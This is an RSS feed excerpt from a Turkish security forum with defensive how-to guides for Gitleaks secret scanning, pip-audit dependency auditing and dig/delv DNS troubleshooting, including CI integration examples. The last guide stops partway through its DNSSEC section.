<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[TurkTeam | Türk Siber Güvenlik Topluluğu - Araç Tanıtım ve Eğitimleri]]></title>
		<link>https://www.turkteam.org/</link>
		<description><![CDATA[TurkTeam | Türk Siber Güvenlik Topluluğu - https://www.turkteam.org]]></description>
		<pubDate>Sun, 25 Oct 2026 18:48:38 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Gitleaks ile Kod Depolarında Sızan Sır Avı: CI'ya Entegre Pratik Rehber]]></title>
			<link>https://www.turkteam.org/konu-gitleaks-ile-kod-depolarinda-sizan-sir-avi-ci-ya-entegre-pratik-rehber.html</link>
			<pubDate>Sun, 25 Oct 2026 11:48:30 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-gitleaks-ile-kod-depolarinda-sizan-sir-avi-ci-ya-entegre-pratik-rehber.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=435" loading="lazy"  alt="[Resim: attachment.php?aid=435]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Kaynak kod depolarına yanlışlıkla işlenmiş API anahtarları, parolalar ve token'lar en yaygın sızıntı nedenlerinden biri. Bu rehberde, açık kaynak sır tarama aracı <span style="font-weight: bold;" class="mycode_b">Gitleaks</span> ile depolarınızı nasıl tarayacağınızı, pre-commit ile sızıntıyı kaynakta nasıl durduracağınızı ve CI'ya nasıl entegre edeceğinizi adım adım anlatıyorum. (Yalnızca kendi veya yetkili olduğunuz depolarda kullanın.)<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Gitleaks nedir?<br />
</li>
<li>Kurulum<br />
</li>
<li>Depo tarama<br />
</li>
<li>Git geçmişini tarama<br />
</li>
<li>pre-commit hook<br />
</li>
<li>CI entegrasyonu ve ipuçları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Gitleaks nedir?</span></span><br />
Gitleaks, Go ile yazılmış, dosyalarda ve git geçmişinde parola, anahtar ve token gibi sabit kodlanmış sırları tespit eden bir araç. Düzenli ifade (regex) ve entropi tabanlı kurallarla çalışır; kendi kurallarınızı <span style="font-style: italic;" class="mycode_i">.gitleaks.toml</span> ile ekleyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Kurulum</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Go ile
go install github.com/gitleaks/gitleaks/v8@latest
# macOS (Homebrew)
brew install gitleaks
# Docker
docker pull zricethezav/gitleaks:latest</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Depo tarama</span></span><br />
Çalışma dizinindeki dosyaları (git geçmişi olmadan) taramak:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>gitleaks dir . --report-path gitleaks-report.json -v</code></div></div>Bir bulgu örneği şu alanları içerir: kural adı, dosya, satır, commit ve gizli değerin kısmen maskelenmiş hali.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Git geçmişini tarama</span></span><br />
Sırlar genelde eski commit'lerde saklıdır. Tüm geçmişi taramak:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>gitleaks git . -v --report-path history-report.json</code></div></div>Belirli bir aralık:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>gitleaks git . --log-opts="--since=2026-01-01" -v</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. pre-commit hook</span></span><br />
Sızmayı kaynakta durdurmanın en iyi yolu, commit öncesi taramak. <span style="font-style: italic;" class="mycode_i">.pre-commit-config.yaml</span>:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.0.0
    hooks:
      - id: gitleaks</code></div></div>Ardından:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>pre-commit install</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. CI entegrasyonu</span></span><br />
GitHub Actions örneği:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>name: gitleaks
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: gitleaks/gitleaks-action@v2</code></div></div><span style="font-weight: bold;" class="mycode_b">Önemli ipucu:</span> fetch-depth: 0 verin ki tüm geçmiş çekilsin; aksi halde eski commit'lerdeki sırlar kaçar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İpuçları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yanlış pozitifleri yönetin.</span> <span style="font-style: italic;" class="mycode_i">.gitleaksignore</span> dosyasına bulgu parmak izini ekleyerek bilinen güvenli bulguları susturabilirsiniz.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Sır bulunduysa sadece silmek yetmez.</span> Sızan her anahtarı/token'ı <span style="font-weight: bold;" class="mycode_b">iptal edip yeniden üretin</span>; geçmişte kaldığı için hâlen geçerlidir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Kendi kurallarınızı ekleyin.</span> Kuruma özgü token formatları için <span style="font-style: italic;" class="mycode_i">.gitleaks.toml</span> kullanın.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Gitleaks, sır sızıntısını hem geçmişte avlamak hem de gelecekte önlemek için hafif ve etkili bir araç. En büyük kazanım, pre-commit + CI ile sızıntıyı daha repoya girmeden durdurmak. Siz depolarınızda sır taraması yapıyor musunuz?<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://github.com/gitleaks/gitleaks" target="_blank" rel="noopener" class="mycode_url">https://github.com/gitleaks/gitleaks</a><br />
</li>
<li><a href="https://github.com/gitleaks/gitleaks/blob/master/README.md" target="_blank" rel="noopener" class="mycode_url">https://github.com/gitleaks/gitleaks/blo.../README.md</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=435" target="_blank" title="">16-t16-gitleaks-rehberi.png</a> (Dosya Boyutu: 115.36 KB / İndirme Sayısı: 1)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=435" loading="lazy"  alt="[Resim: attachment.php?aid=435]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Kaynak kod depolarına yanlışlıkla işlenmiş API anahtarları, parolalar ve token'lar en yaygın sızıntı nedenlerinden biri. Bu rehberde, açık kaynak sır tarama aracı <span style="font-weight: bold;" class="mycode_b">Gitleaks</span> ile depolarınızı nasıl tarayacağınızı, pre-commit ile sızıntıyı kaynakta nasıl durduracağınızı ve CI'ya nasıl entegre edeceğinizi adım adım anlatıyorum. (Yalnızca kendi veya yetkili olduğunuz depolarda kullanın.)<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Gitleaks nedir?<br />
</li>
<li>Kurulum<br />
</li>
<li>Depo tarama<br />
</li>
<li>Git geçmişini tarama<br />
</li>
<li>pre-commit hook<br />
</li>
<li>CI entegrasyonu ve ipuçları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Gitleaks nedir?</span></span><br />
Gitleaks, Go ile yazılmış, dosyalarda ve git geçmişinde parola, anahtar ve token gibi sabit kodlanmış sırları tespit eden bir araç. Düzenli ifade (regex) ve entropi tabanlı kurallarla çalışır; kendi kurallarınızı <span style="font-style: italic;" class="mycode_i">.gitleaks.toml</span> ile ekleyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Kurulum</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Go ile
go install github.com/gitleaks/gitleaks/v8@latest
# macOS (Homebrew)
brew install gitleaks
# Docker
docker pull zricethezav/gitleaks:latest</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Depo tarama</span></span><br />
Çalışma dizinindeki dosyaları (git geçmişi olmadan) taramak:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>gitleaks dir . --report-path gitleaks-report.json -v</code></div></div>Bir bulgu örneği şu alanları içerir: kural adı, dosya, satır, commit ve gizli değerin kısmen maskelenmiş hali.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Git geçmişini tarama</span></span><br />
Sırlar genelde eski commit'lerde saklıdır. Tüm geçmişi taramak:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>gitleaks git . -v --report-path history-report.json</code></div></div>Belirli bir aralık:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>gitleaks git . --log-opts="--since=2026-01-01" -v</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. pre-commit hook</span></span><br />
Sızmayı kaynakta durdurmanın en iyi yolu, commit öncesi taramak. <span style="font-style: italic;" class="mycode_i">.pre-commit-config.yaml</span>:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.0.0
    hooks:
      - id: gitleaks</code></div></div>Ardından:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>pre-commit install</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. CI entegrasyonu</span></span><br />
GitHub Actions örneği:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>name: gitleaks
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
      - uses: gitleaks/gitleaks-action@v2</code></div></div><span style="font-weight: bold;" class="mycode_b">Önemli ipucu:</span> fetch-depth: 0 verin ki tüm geçmiş çekilsin; aksi halde eski commit'lerdeki sırlar kaçar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İpuçları</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Yanlış pozitifleri yönetin.</span> <span style="font-style: italic;" class="mycode_i">.gitleaksignore</span> dosyasına bulgu parmak izini ekleyerek bilinen güvenli bulguları susturabilirsiniz.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Sır bulunduysa sadece silmek yetmez.</span> Sızan her anahtarı/token'ı <span style="font-weight: bold;" class="mycode_b">iptal edip yeniden üretin</span>; geçmişte kaldığı için hâlen geçerlidir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Kendi kurallarınızı ekleyin.</span> Kuruma özgü token formatları için <span style="font-style: italic;" class="mycode_i">.gitleaks.toml</span> kullanın.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Gitleaks, sır sızıntısını hem geçmişte avlamak hem de gelecekte önlemek için hafif ve etkili bir araç. En büyük kazanım, pre-commit + CI ile sızıntıyı daha repoya girmeden durdurmak. Siz depolarınızda sır taraması yapıyor musunuz?<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://github.com/gitleaks/gitleaks" target="_blank" rel="noopener" class="mycode_url">https://github.com/gitleaks/gitleaks</a><br />
</li>
<li><a href="https://github.com/gitleaks/gitleaks/blob/master/README.md" target="_blank" rel="noopener" class="mycode_url">https://github.com/gitleaks/gitleaks/blo.../README.md</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=435" target="_blank" title="">16-t16-gitleaks-rehberi.png</a> (Dosya Boyutu: 115.36 KB / İndirme Sayısı: 1)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[pip-audit ile Python Ortamı Tarama: Pillow Haftasında Pratik Rehber]]></title>
			<link>https://www.turkteam.org/konu-pip-audit-ile-python-ortami-tarama-pillow-haftasinda-pratik-rehber.html</link>
			<pubDate>Sat, 24 Oct 2026 11:34:19 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-pip-audit-ile-python-ortami-tarama-pillow-haftasinda-pratik-rehber.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=412" loading="lazy"  alt="[Resim: attachment.php?aid=412]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Bu hafta Pillow (CVE-2026-112900) ve LiteLLM tedarik zinciri derken Python bağımlılık envanteri yeniden gündeme geldi. <span style="font-weight: bold;" class="mycode_b">pip-audit</span>, PyPI/OSV üzerinden bilinen açıklara karşı ortamınızı veya requirements dosyanızı tarayan resmiye yakın, bakımı süren bir araç. Bu rehber kurulumu, ilk taramayı ve CI'ya eklemeyi adım adım anlatıyor.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Kurulum<br />
</li>
<li>Ortam ve requirements taraması<br />
</li>
<li>Çıktı formatları<br />
</li>
<li>--fix ve dikkat edilecekler<br />
</li>
<li>CI örneği<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Kurulum</span></span><br />
Python 3.10+ gerekir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>python3 -m pip install -U pip-audit
pip-audit --version</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. İlk tarama</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Aktif sanal ortam
pip-audit

# Yalnizca yerel (sistem paketlerini gizle)
pip-audit --local

# requirements dosyasi
pip-audit -r requirements.txt

# Proje dizini (pyproject.toml)
pip-audit .</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Çıktı formatları</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>pip-audit -f columns
pip-audit -f json -o audit.json
pip-audit -f markdown
pip-audit --desc --aliases</code></div></div>JSON çıktıyı SIEM veya ticket sistemine beslemek kolaydır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. --fix ve sınırlar</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>pip-audit --fix --dry-run   # ne yapacagini gosterir
pip-audit --fix             # bilinen duzeltmesi olanlari yukseltmeye calisir</code></div></div>Önemli: pip-audit <span style="font-weight: bold;" class="mycode_b">zararlı paketi tespit motoru değildir</span>; bilinen CVE/advisory listesine bakar. "pip install etmeyeceğiniz şeyi pip-audit etmeyin" güvenlik modeli geçerlidir. Hash'li requirements ile --require-hashes tekrarlanabilir denetim sağlar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. CI örneği (GitHub Actions)</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>jobs:
  pip-audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pip install pip-audit
      - run: pip-audit -r requirements.txt</code></div></div>Resmi GitHub Action da var: pypa/gh-action-pip-audit. Pillow 13.0.0 gibi güvenlik sürümlerini kaçırmamak için bu taramayı PR kapısına koyun.<br />
<br />
Python projelerinizde bağımlılık taramasını CI'da zorunlu tutuyor musunuz?<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://pypi.org/project/pip-audit/" target="_blank" rel="noopener" class="mycode_url">https://pypi.org/project/pip-audit/</a><br />
</li>
<li><a href="https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html" target="_blank" rel="noopener" class="mycode_url">https://thehackernews.com/2026/10/critic...illow.html</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=412" target="_blank" title="">18-k03-pip-audit-rehber.png</a> (Dosya Boyutu: 110.98 KB / İndirme Sayısı: 2)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=412" loading="lazy"  alt="[Resim: attachment.php?aid=412]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Bu hafta Pillow (CVE-2026-112900) ve LiteLLM tedarik zinciri derken Python bağımlılık envanteri yeniden gündeme geldi. <span style="font-weight: bold;" class="mycode_b">pip-audit</span>, PyPI/OSV üzerinden bilinen açıklara karşı ortamınızı veya requirements dosyanızı tarayan resmiye yakın, bakımı süren bir araç. Bu rehber kurulumu, ilk taramayı ve CI'ya eklemeyi adım adım anlatıyor.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Kurulum<br />
</li>
<li>Ortam ve requirements taraması<br />
</li>
<li>Çıktı formatları<br />
</li>
<li>--fix ve dikkat edilecekler<br />
</li>
<li>CI örneği<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Kurulum</span></span><br />
Python 3.10+ gerekir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>python3 -m pip install -U pip-audit
pip-audit --version</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. İlk tarama</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Aktif sanal ortam
pip-audit

# Yalnizca yerel (sistem paketlerini gizle)
pip-audit --local

# requirements dosyasi
pip-audit -r requirements.txt

# Proje dizini (pyproject.toml)
pip-audit .</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Çıktı formatları</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>pip-audit -f columns
pip-audit -f json -o audit.json
pip-audit -f markdown
pip-audit --desc --aliases</code></div></div>JSON çıktıyı SIEM veya ticket sistemine beslemek kolaydır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. --fix ve sınırlar</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>pip-audit --fix --dry-run   # ne yapacagini gosterir
pip-audit --fix             # bilinen duzeltmesi olanlari yukseltmeye calisir</code></div></div>Önemli: pip-audit <span style="font-weight: bold;" class="mycode_b">zararlı paketi tespit motoru değildir</span>; bilinen CVE/advisory listesine bakar. "pip install etmeyeceğiniz şeyi pip-audit etmeyin" güvenlik modeli geçerlidir. Hash'li requirements ile --require-hashes tekrarlanabilir denetim sağlar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. CI örneği (GitHub Actions)</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>jobs:
  pip-audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pip install pip-audit
      - run: pip-audit -r requirements.txt</code></div></div>Resmi GitHub Action da var: pypa/gh-action-pip-audit. Pillow 13.0.0 gibi güvenlik sürümlerini kaçırmamak için bu taramayı PR kapısına koyun.<br />
<br />
Python projelerinizde bağımlılık taramasını CI'da zorunlu tutuyor musunuz?<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://pypi.org/project/pip-audit/" target="_blank" rel="noopener" class="mycode_url">https://pypi.org/project/pip-audit/</a><br />
</li>
<li><a href="https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html" target="_blank" rel="noopener" class="mycode_url">https://thehackernews.com/2026/10/critic...illow.html</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=412" target="_blank" title="">18-k03-pip-audit-rehber.png</a> (Dosya Boyutu: 110.98 KB / İndirme Sayısı: 2)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[dig ve delv ile DNS Sorgulama: Kayıt Türleri, DNSSEC Doğrulama ve Sorun Giderme]]></title>
			<link>https://www.turkteam.org/konu-dig-ve-delv-ile-dns-sorgulama-kayit-turleri-dnssec-dogrulama-ve-sorun-giderme-253.html</link>
			<pubDate>Fri, 23 Oct 2026 11:39:37 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=3">BilgeKagan</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-dig-ve-delv-ile-dns-sorgulama-kayit-turleri-dnssec-dogrulama-ve-sorun-giderme-253.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=382" loading="lazy"  alt="[Resim: attachment.php?aid=382]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
BIND 9 açığı (CVE-2026-94300) gündemdeyken DNS araçlarına sağlam bir giriş yapalım. <span style="font-weight: bold;" class="mycode_b">dig</span> ve <span style="font-weight: bold;" class="mycode_b">delv</span>, BIND projesinin parçası olan ve neredeyse her Linux dağıtımında bulunan iki sorgu aracı. dig her şeyi ham olarak gösterir; delv ise yanıtları DNSSEC zinciriyle doğrulamaya odaklanır. Bu rehberdeki tüm örnekleri kendi alan adlarınızda veya herkese açık örnek alan adlarında güvenle deneyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Kurulum<br />
</li>
<li>dig temelleri ve çıktıyı okumak<br />
</li>
<li>Kayıt türleri: A, AAAA, MX, TXT, NS, CAA<br />
</li>
<li>+trace ile çözümleme yolunu izlemek<br />
</li>
<li>delv ile DNSSEC doğrulama<br />
</li>
<li>Sık kullanılan sorun giderme senaryoları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Debian/Ubuntu
sudo apt install bind9-dnsutils
# RHEL/Fedora
sudo dnf install bind-utils
dig -v</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">dig temelleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig example.com</code></div></div>Çıktıda bakılacak yerler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">status:</span> NOERROR (başarılı), NXDOMAIN (alan adı yok), SERVFAIL (sunucu yanıt üretemedi; DNSSEC hatası da olabilir).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">flags:</span> qr (yanıt), rd (özyineleme istendi), ra (özyineleme sunuldu), aa (yetkili yanıt), ad (DNSSEC doğrulandı).<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">ANSWER SECTION:</span> kayıt ve TTL değeri.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">SERVER:</span> yanıtı hangi çözümleyicinin verdiği.<br />
</li>
</ul>
Kısa çıktı için +short, belirli bir çözümleyici için @ kullanın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +short example.com
dig @1.1.1.1 example.com AAAA +short
dig @9.9.9.9 example.com +noall +answer</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kayıt türleri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig ornek.com MX +short      # posta sunuculari
dig ornek.com TXT +short     # SPF, dogrulama kayitlari
dig _dmarc.ornek.com TXT +short
dig ornek.com NS +short      # yetkili sunucular
dig ornek.com CAA +short     # hangi CA sertifika verebilir
dig -x 93.184.215.14 +short  # ters (PTR) sorgu</code></div></div>Kendi alan adınızda CAA kaydı yoksa, kurallara uyan herhangi bir CA sizin adınıza sertifika verebilir. CAA kaydıyla yalnızca kullandığınız CA'ları yetkilendirmek, yanlış veya sahte sertifika talebine karşı ucuz bir sertleştirmedir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">+trace ile çözümleme yolu</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +trace ornek.com</code></div></div>Kökten (.) başlayıp TLD'ye, oradan yetkili sunucuya kadar her adımı gösterir. "Bazı yerlerden çözülüyor, bazı yerlerden çözülmüyor" sorunlarında yanlış NS delegasyonunu bulmanın en hızlı yolu budur.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">delv ile DNSSEC doğrulama</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>delv example.com
delv ornek.com A +rtrace</code></div></div>Başarılı doğrulamada çıktının başında "; fully validated" görürsünüz; imzasız zone'larda "; unsigned answer". dig ile de DO bitini isteyip ad bayrağına ve RRSIG kayıtlarına bakabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>dig +dnssec example.com</code></div></div><br />
